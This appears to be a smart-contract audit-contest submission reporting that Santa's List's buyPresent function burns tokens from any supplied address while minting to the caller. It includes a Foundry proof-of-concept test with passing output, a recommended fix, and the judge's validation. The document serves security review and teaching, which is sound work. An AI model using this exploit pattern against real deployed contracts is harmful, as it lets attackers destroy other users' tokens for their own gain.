First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect logic in buyPresent function

Prabhas

Summary

The logic of buyPresent function in SantasList contract is misleading. According to the docs anyone can call the function but only people marked as NICE or EXTR_NICE can benefit from them. But it turns out that anyone can call the function by providing the address which has enough SantaTokens to mint NFT for them.

Vulnerability Details

In the buyPresent function the NFT will be minted for msg.sender whereas the SantaTokens are burned from the presentReceiver address. So anyone call the buyPresent function with the right address as argument and mint an NFT for them.

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}

Here is the valid POC for this vulnerability.
Assume user has some tokens. Then a malicious user1 calls the buyPresentfunction by providing theuser` address as an argument and successfully mints an NFT on his address.

function test_canMintNft() public {
address user1 = makeAddr("user1");
console.log("Balance of user1 before function call", santasList.balanceOf(user1));
​
deal(address(santaToken), user, 2e18);
​
vm.prank(user1);
santasList.buyPresent(user);
​
console.log("Balance of user1 after function call", santasList.balanceOf(user1));
}
Running 1 test for test/unit/SantasListTest.t.sol:SantasListTest
[PASS] test_canMintNft() (gas: 231881)
Logs:
Balance of user1 before function call 0
Balance of user1 after function call 1
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.73ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Anyone can mint nft by stealing ERC20 tokens from other accounts due to false logic in buyPresent contract.

Tools Used

Manual Review

Recommendations

Remove the presentReceiver argument from the buypresent function and make sure the santaTokens are burned from the address which calls the function.

function buyPresent() external {
i_santaToken.burn(msg.sender);
_mintAndIncrement();
}

In this way users can mint an nft only if they have enough santaToken in the account. If anyone wants to buy nft for their friends they can transfer the santaToken from their address to their friends.

Updates

Lead Judging Commences

inallhonesty Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.